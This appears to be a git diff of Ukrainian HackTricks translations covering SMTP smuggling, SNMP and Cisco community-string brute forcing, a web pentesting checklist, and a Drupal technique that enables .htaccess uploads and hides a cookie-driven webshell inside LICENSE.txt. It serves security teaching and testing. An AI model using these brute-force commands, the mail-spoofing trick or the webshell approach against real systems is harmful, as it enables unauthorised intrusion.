<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
|
||||
### Як
|
||||
|
||||
Щоб експлуатувати цю вразливість, зловмисник повинен надіслати деякі дані, які **вихідний SMTP сервер вважає лише 1 електронним листом, але вхідний SMTP сервер вважає, що є кілька електронних листів**.
|
||||
|
||||
Дослідники виявили, що різні **вхідні сервери вважають різні символи кінцем даних** електронного листа, які вихідні сервери не вважають.\
|
||||
Наприклад, звичайним кінцем даних є `\r\n.\r`. Але якщо вхідний SMTP сервер також підтримує `\n.`, зловмисник може просто додати **ці дані у свій електронний лист і почати вказувати команди SMTP** нових електронних листів, щоб підсунути їх, як у попередньому зображенні.
|
||||
Наприклад, звичайним кінцем даних є `\r\n.\r`. Але якщо вхідний SMTP сервер також підтримує `\n.`, зловмисник може просто додати **ці дані у свій електронний лист і почати вказувати команди SMTP** нових електронних листів, щоб контрабандою додати їх, як у попередньому зображенні.
|
||||
|
||||
Звичайно, це може працювати лише якщо **вихідний SMTP сервер також не розглядає ці дані** як кінець даних повідомлення, оскільки в цьому випадку він побачить 2 електронні листи замість лише 1, тому в кінцевому підсумку це є десинхронізацією, яка використовується в цій вразливості.
|
||||
|
||||
|
@ -39,7 +39,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
* `\n.`
|
||||
* `\n.\r`
|
||||
|
||||
Також зверніть увагу, що SPF обходиться, оскільки якщо ви підсуваєте електронний лист від `admin@outlook.com` з електронного листа від `user@outlook.com`, **відправник все ще `outlook.com`.**
|
||||
Також зверніть увагу, що SPF обходиться, оскільки якщо ви контрабандою надсилаєте електронний лист від `admin@outlook.com` з електронного листа від `user@outlook.com`, **відправник все ще `outlook.com`.**
|
||||
|
||||
## **Посилання**
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -76,32 +76,32 @@ SNMP також використовує порт **162/UDP** для **трап
|
|||
Інші значення надають специфічну інформацію про пристрій.
|
||||
|
||||
* 5 – позначає дискретну точку тривоги.
|
||||
* 1 – конкретна точка в пристрої.
|
||||
* 3 – порт.
|
||||
* 21 – адреса порту.
|
||||
* 1 – дисплей для порту.
|
||||
* 4 – номер точки.
|
||||
* 7 – стан точки.
|
||||
* 1 – конкретна точка в пристрої
|
||||
* 3 – порт
|
||||
* 21 – адреса порту
|
||||
* 1 – дисплей для порту
|
||||
* 4 – номер точки
|
||||
* 7 – стан точки
|
||||
|
||||
### Версії SNMP
|
||||
|
||||
Існує 2 важливі версії SNMP:
|
||||
|
||||
* **SNMPv1**: Основна, вона все ще найпоширеніша, **автентифікація базується на рядку** (рядок спільноти), який передається в **звичайному тексті** (вся інформація передається в звичайному тексті). **Версії 2 і 2c** також передають **трафік у звичайному тексті** і використовують **рядок спільноти як автентифікацію**.
|
||||
* **SNMPv3**: Використовує кращу **форму автентифікації**, і інформація передається **зашифрованою** (може бути виконано **атака методом підбору**, але знайти правильні дані буде набагато важче, ніж у SNMPv1 і v2).
|
||||
* **SNMPv1**: Основна версія, вона все ще найпоширеніша, **автентифікація базується на рядку** (community string), який передається в **відкритому тексті** (вся інформація передається в відкритому тексті). **Версії 2 і 2c** також передають **трафік у відкритому тексті** і використовують **community string як автентифікацію**.
|
||||
* **SNMPv3**: Використовує кращу **автентифікацію** і інформація передається **зашифровано** (можливий **атака методом підбору** але буде набагато важче знайти правильні дані, ніж у SNMPv1 і v2).
|
||||
|
||||
### Рядки спільноти
|
||||
### Community Strings
|
||||
|
||||
Як вже згадувалося, **для доступу до інформації, збереженої в MIB, вам потрібно знати рядок спільноти у версіях 1 і 2/2c та облікові дані у версії 3.**\
|
||||
Існує **2 типи рядків спільноти**:
|
||||
Як вже згадувалося, **для доступу до інформації, збереженої в MIB, вам потрібно знати community string у версіях 1 і 2/2c та облікові дані у версії 3.**\
|
||||
Існує **2 типи community strings**:
|
||||
|
||||
* **`public`** в основному **тільки для читання** функції.
|
||||
* **`private`** **Читання/Запис** в загальному.
|
||||
* **`public`** в основному **тільки для читання** функцій
|
||||
* **`private`** **Читання/Запис** в загальному
|
||||
|
||||
Зверніть увагу, що **можливість запису OID залежить від використаного рядка спільноти**, тому **навіть** якщо ви виявите, що використовується "**public**", ви можете мати можливість **записувати деякі значення.** Також можуть існувати об'єкти, які **завжди "тільки для читання".**\
|
||||
Зверніть увагу, що **можливість запису OID залежить від використаного community string**, тому **навіть** якщо ви виявите, що використовується "**public**", ви можете мати можливість **записувати деякі значення.** Також можуть існувати об'єкти, які **завжди "тільки для читання".**\
|
||||
Якщо ви намагаєтеся **записати** об'єкт, ви отримаєте **помилку `noSuchName` або `readOnly`**.\*\*.\*\*
|
||||
|
||||
У версіях 1 і 2/2c, якщо ви використовуєте **поганий** рядок спільноти, сервер не **відповість**. Тож, якщо він відповідає, то **використовувався дійсний рядок спільноти**.
|
||||
У версіях 1 і 2/2c, якщо ви використовуєте **поганий** community string, сервер не **відповість**. Тож, якщо він відповідає, було використано **дійсний community string**.
|
||||
|
||||
## Порти
|
||||
|
||||
|
@ -111,9 +111,9 @@ SNMP також використовує порт **162/UDP** для **трап
|
|||
* Менеджер отримує сповіщення ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) та [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) на порт **162**.
|
||||
* Коли використовується з [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) або [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), запити отримуються на порт **10161**, а сповіщення надсилаються на порт **10162**.
|
||||
|
||||
## Атака методом підбору рядка спільноти (v1 і v2c)
|
||||
## Атака методом підбору Community String (v1 і v2c)
|
||||
|
||||
Щоб **вгадати рядок спільноти**, ви можете виконати атаку методом підбору. Перевірте [тут різні способи виконання атаки методом підбору проти SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Часто використовуваний рядок спільноти - `public`.
|
||||
Щоб **вгадати community string**, ви можете виконати атаку методом підбору. Перевірте [тут різні способи виконання атаки методом підбору проти SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Часто використовуваний community string - `public`.
|
||||
|
||||
## Перерахування SNMP
|
||||
|
||||
|
@ -207,7 +207,7 @@ braa ignite123@192.168.1.125:.1.3.6.*
|
|||
|
||||
### **Пристрої**
|
||||
|
||||
Процес починається з витягування **sysDesc MIB даних** (1.3.6.1.2.1.1.1.0) з кожного файлу для ідентифікації пристроїв. Це досягається за допомогою **grep команди**:
|
||||
Процес починається з витягування **sysDesc MIB data** (1.3.6.1.2.1.1.1.0) з кожного файлу для ідентифікації пристроїв. Це досягається за допомогою **grep command**:
|
||||
```bash
|
||||
grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||
```
|
||||
|
@ -219,7 +219,7 @@ grep -i "trap" *.snmp
|
|||
```
|
||||
### **Імена користувачів/Паролі**
|
||||
|
||||
Логи, збережені в таблицях MIB, перевіряються на **невдалі спроби входу**, які можуть випадково включати паролі, введені як імена користувачів. Шукаються ключові слова, такі як _fail_, _failed_ або _login_, щоб знайти цінні дані:
|
||||
Логи, збережені в таблицях MIB, перевіряються на **невдалі спроби входу**, які можуть випадково містити паролі, введені як імена користувачів. Шукаються ключові слова, такі як _fail_, _failed_ або _login_, щоб знайти цінні дані:
|
||||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
|
@ -243,7 +243,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -294,7 +294,7 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
|||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Pentesting Cisco Networks
|
||||
|
||||
**SNMP** функціонує через UDP з портами 161/UDP для загальних повідомлень і 162/UDP для повідомлень про трепи. Цей протокол покладається на рядки спільноти, які виконують роль паролів, що дозволяють зв'язок між SNMP агентами та серверами. Ці рядки є вирішальними, оскільки вони визначають рівні доступу, зокрема **тільки для читання (RO) або читання-запис (RW) дозволи**. Помітним вектором атаки для пентестерів є **брутфорсинг рядків спільноти**, що має на меті проникнення в мережеві пристрої.
|
||||
**SNMP** функціонує через UDP з портами 161/UDP для загальних повідомлень і 162/UDP для повідомлень про трепи. Цей протокол покладається на рядки спільноти, які слугують паролями, що дозволяють зв'язок між SNMP-агентами та серверами. Ці рядки є вирішальними, оскільки вони визначають рівні доступу, зокрема **тільки для читання (RO) або читання-запис (RW) дозволи**. Помітним вектором атаки для пентестерів є **брутфорсинг рядків спільноти**, що має на меті проникнення в мережеві пристрої.
|
||||
|
||||
Практичним інструментом для виконання таких брутфорс-атак є [**onesixtyone**](https://github.com/trailofbits/onesixtyone), який вимагає список потенційних рядків спільноти та IP-адрес цілей:
|
||||
Практичним інструментом для виконання таких атак брутфорсом є [**onesixtyone**](https://github.com/trailofbits/onesixtyone), який вимагає списку потенційних рядків спільноти та IP-адрес цілей:
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
|
@ -52,15 +52,15 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в усній та письмовій формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Basic Info
|
||||
|
||||
Веб-сервіс є найпоширенішим і найобширнішим сервісом, і існує багато різних типів вразливостей.
|
||||
Веб-сервіс є найпоширенішим та найобширнішим сервісом, і існує багато різних типів вразливостей.
|
||||
|
||||
**Порт за замовчуванням:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
|
@ -51,8 +51,8 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
* [ ] Використовується якась **відомий технології**? Якісь **корисні трюки** для отримання додаткової інформації?
|
||||
* [ ] Чи є якісь **спеціалізовані сканери** для запуску (наприклад, wpscan)?
|
||||
* [ ] Запустіть **сканери загального призначення**. Ви ніколи не знаєте, чи знайдуть вони щось або чи знайдуть якусь цікаву інформацію.
|
||||
* [ ] Почніть з **початкових перевірок**: **robots**, **sitemap**, **404** помилка та **сканування SSL/TLS** (якщо HTTPS).
|
||||
* [ ] Почніть **павукоподібне сканування** веб-сторінки: час **знайти** всі можливі **файли, папки** та **параметри, що використовуються.** Також перевірте на **особливі знахідки**.
|
||||
* [ ] Розпочніть з **початкових перевірок**: **robots**, **sitemap**, **404** помилка та **сканування SSL/TLS** (якщо HTTPS).
|
||||
* [ ] Розпочніть **павукоподібне** сканування веб-сторінки: час **знайти** всі можливі **файли, папки** та **параметри, що використовуються.** Також перевірте на **особливі знахідки**.
|
||||
* [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід просканувати._
|
||||
* [ ] **Брутфорсинг каталогів**: спробуйте брутфорсити всі виявлені папки, шукаючи нові **файли** та **каталоги**.
|
||||
* [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід брутфорсити._
|
||||
|
@ -128,7 +128,7 @@ _Зверніть увагу, що **один і той же домен** мож
|
|||
* Як і де зберігаються **облікові дані**? Чи є якийсь (доступний?) **файл** з обліковими даними (іменами користувачів або паролями)?
|
||||
* Чи є **паролі** у **звичайному тексті**, **зашифровані** або який **алгоритм хешування** використовується?
|
||||
* Чи використовується якийсь **майстер-ключ** для шифрування чогось? Який **алгоритм** використовується?
|
||||
* Чи можете ви **доступитися до будь-яких з цих файлів**, експлуатуючи якусь вразливість?
|
||||
* Чи можете ви **отримати доступ до будь-яких з цих файлів**, експлуатуючи якусь вразливість?
|
||||
* Чи є якась **цікава інформація в github** (вирішені та не вирішені) **проблеми**? Або в **історії комітів** (можливо, якийсь **пароль, введений у старому коміті**)?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
|
@ -137,7 +137,7 @@ _Зверніть увагу, що **один і той же домен** мож
|
|||
|
||||
### Автоматичні сканери
|
||||
|
||||
#### Загальні автоматичні сканери
|
||||
#### Загального призначення автоматичні сканери
|
||||
```bash
|
||||
nikto -h <URL>
|
||||
whatweb -a 4 <URL>
|
||||
|
@ -202,7 +202,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
* Якщо додаток **не примушує користувача використовувати HTTPS** в жодній частині, то він **вразливий до MitM**
|
||||
* Якщо додаток **надсилає чутливі дані (паролі) за допомогою HTTP**. Тоді це висока вразливість.
|
||||
|
||||
Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки **вразливостей** (в програмах Bug Bounty, ймовірно, такі вразливості не будуть прийняті) та використовуйте [**a2sv**](https://github.com/hahwul/a2sv) для повторної перевірки вразливостей:
|
||||
Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки **вразливостей** (в програмах Bug Bounty, ймовірно, такі вразливості не будуть прийняті) і використовуйте [**a2sv**](https://github.com/hahwul/a2sv) для повторної перевірки вразливостей:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -218,13 +218,13 @@ Information about SSL/TLS vulnerabilities:
|
|||
|
||||
### Spidering
|
||||
|
||||
Запустіть якийсь **spider** всередині вебу. Мета spider - **знайти якомога більше шляхів** з протестованого додатку. Тому слід використовувати веб-краулінг та зовнішні джерела, щоб знайти якомога більше дійсних шляхів.
|
||||
Запустіть якийсь **spider** всередині вебу. Мета spider'а - **знайти якомога більше шляхів** з протестованого додатку. Тому слід використовувати веб-краулінг та зовнішні джерела, щоб знайти якомога більше дійсних шляхів.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS файлах та зовнішні джерела (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFinder для JS файлів та Archive.org як зовнішнє джерело.
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS файлах та зовнішніх джерелах (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFinder для JS файлів та Archive.org як зовнішнього джерела.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, також вказує на "соковиті файли".
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Інтерактивний CLI HTML spider. Він також шукає в Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider, але може бути корисним. Ви можете просто вказати файл з хостами та файл з шляхами, і meg отримає кожен шлях на кожному хості та збере відповідь.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider'ом, але може бути корисним. Ви можете просто вказати файл з хостами та файл з шляхами, і meg отримає кожен шлях на кожному хості та збере відповідь.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider з можливостями рендерингу JS. Однак, виглядає так, що він не підтримується, попередньо скомпільована версія стара, а поточний код не компілюється.
|
||||
* [**gau**](https://github.com/lc/gau) (go): HTML spider, який використовує зовнішні постачальники (wayback, otx, commoncrawl).
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Цей скрипт знайде URL з параметрами та виведе їх.
|
||||
|
@ -302,13 +302,13 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
|
|||
|
||||
### Special findings
|
||||
|
||||
**Під час** виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **речі**, на які вам слід **звернути увагу**.
|
||||
**Під час** виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **речі**, на які вам потрібно **звернути увагу**.
|
||||
|
||||
**Цікаві файли**
|
||||
|
||||
* Шукайте **посилання** на інші файли всередині **CSS** файлів.
|
||||
* [Якщо ви знайдете файл _**.git**_, можна витягнути деяку інформацію](git.md).
|
||||
* Якщо ви знайдете _**.env**_, можна знайти інформацію, таку як API ключі, паролі бази даних та іншу інформацію.
|
||||
* Якщо ви знайдете _**.env**_, така інформація, як API ключі, паролі бази даних та інша інформація може бути знайдена.
|
||||
* Якщо ви знайдете **API кінцеві точки**, ви [також повинні їх протестувати](web-api-pentesting.md). Це не файли, але, ймовірно, "виглядатимуть" як вони.
|
||||
* **JS файли**: У розділі spidering згадувалися кілька інструментів, які можуть витягувати шляхи з JS файлів. Також було б цікаво **моніторити кожен знайдений JS файл**, оскільки в деяких випадках зміна може вказувати на те, що потенційна вразливість була введена в код. Ви можете використовувати, наприклад, [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Вам також слід перевірити виявлені JS файли за допомогою [**RetireJS**](https://github.com/retirejs/retire.js/) або [**JSHole**](https://github.com/callforpapers-source/jshole), щоб дізнатися, чи є вони вразливими.
|
||||
|
@ -327,17 +327,17 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
|
|||
|
||||
**502 Proxy Error**
|
||||
|
||||
Якщо будь-яка сторінка **відповідає** з цим **кодом**, це, ймовірно, **погано налаштований проксі**. **Якщо ви надішлете HTTP запит, наприклад: `GET https://google.com HTTP/1.1`** (з заголовком хоста та іншими загальними заголовками), **проксі** спробує **доступитися** _**google.com**_ **і ви знайдете** SSRF.
|
||||
Якщо будь-яка сторінка **відповідає** з цим **кодом**, це, ймовірно, **погано налаштований проксі**. **Якщо ви надішлете HTTP запит, як: `GET https://google.com HTTP/1.1`** (з заголовком хоста та іншими загальними заголовками), **проксі** спробує **доступитися** _**google.com**_ **і ви знайдете** SSRF.
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
Якщо працюючий сервер запитує аутентифікацію **Windows** або ви знаходите вхід, що запитує ваші **облікові дані** (і запитує **ім'я домену**), ви можете спровокувати **розкриття інформації**.\
|
||||
**Надішліть** заголовок: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через те, як працює **NTLM аутентифікація**, сервер відповість внутрішньою інформацією (версія IIS, версія Windows...) всередині заголовка "WWW-Authenticate".\
|
||||
Ви можете **автоматизувати** це, використовуючи **плагін nmap** "_http-ntlm-info.nse_".
|
||||
**Надішліть** **заголовок**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через те, як працює **NTLM аутентифікація**, сервер відповість внутрішньою інформацією (версія IIS, версія Windows...) всередині заголовка "WWW-Authenticate".\
|
||||
Ви можете **автоматизувати** це, використовуючи **nmap плагін** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Можливо **вставити вміст** всередині **перенаправлення**. Цей вміст **не буде показаний користувачу** (оскільки браузер виконає перенаправлення), але щось може бути **сховане** там.
|
||||
Можливо **вставити вміст** всередину **Redirection**. Цей вміст **не буде показаний користувачу** (оскільки браузер виконає перенаправлення), але щось може бути **сховане** там.
|
||||
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
|
@ -357,7 +357,7 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
|
|||
|
||||
Ви можете використовувати інструменти, такі як [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io), щоб моніторити сторінки на предмет модифікацій, які можуть вставити вразливості.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** та хакнути непереможне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
|
|
@ -93,13 +93,13 @@ tar cvf captcha.tar.gz captcha/
|
|||
|
||||
Перед активацією:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Після активації:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Частина 2 (використання функції _Синхронізація конфігурації_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
|
||||
|
@ -122,7 +122,7 @@ allow_insecure_uploads: false
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
До:
|
||||
|
||||
|
@ -136,7 +136,7 @@ allow_insecure_uploads: true
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Патч field.field.media.document.field\_media\_document.yml**
|
||||
|
||||
|
@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
|
|||
|
||||
...
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
До:
|
||||
|
||||
|
@ -168,7 +168,7 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
|
|||
```
|
||||
> Я не використовую це в цьому блозі, але зазначено, що можливо визначити вхід `file_directory` довільним чином і що він вразливий до атаки обходу шляху (тому ми можемо піднятися вгору в дереві файлової системи Drupal).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Частина 3 (використання функції _Додати документ_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||
|
||||
|
@ -194,13 +194,13 @@ php_flag engine on
|
|||
```
|
||||
Чому цей трюк класний?
|
||||
|
||||
Тому що, як тільки Webshell (який ми назвемо LICENSE.txt) буде завантажено на веб-сервер, ми можемо передавати наші команди через `$_COOKIE`, і в журналах веб-сервера це з'явиться як легітимний GET запит до текстового файлу.
|
||||
Тому що, як тільки Webshell (який ми назвемо LICENSE.txt) буде завантажено на веб-сервер, ми зможемо передавати наші команди через `$_COOKIE`, і в журналах веб-сервера це з'явиться як легітимний GET запит до текстового файлу.
|
||||
|
||||
Чому ми називаємо наш Webshell LICENSE.txt?
|
||||
|
||||
Просто тому, що якщо ми візьмемо наступний файл, наприклад [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (який вже присутній у Drupal core), ми маємо файл з 339 рядків і 17.6 КБ розміру, що ідеально підходить для додавання невеликого фрагмента PHP коду посередині (оскільки файл достатньо великий).
|
||||
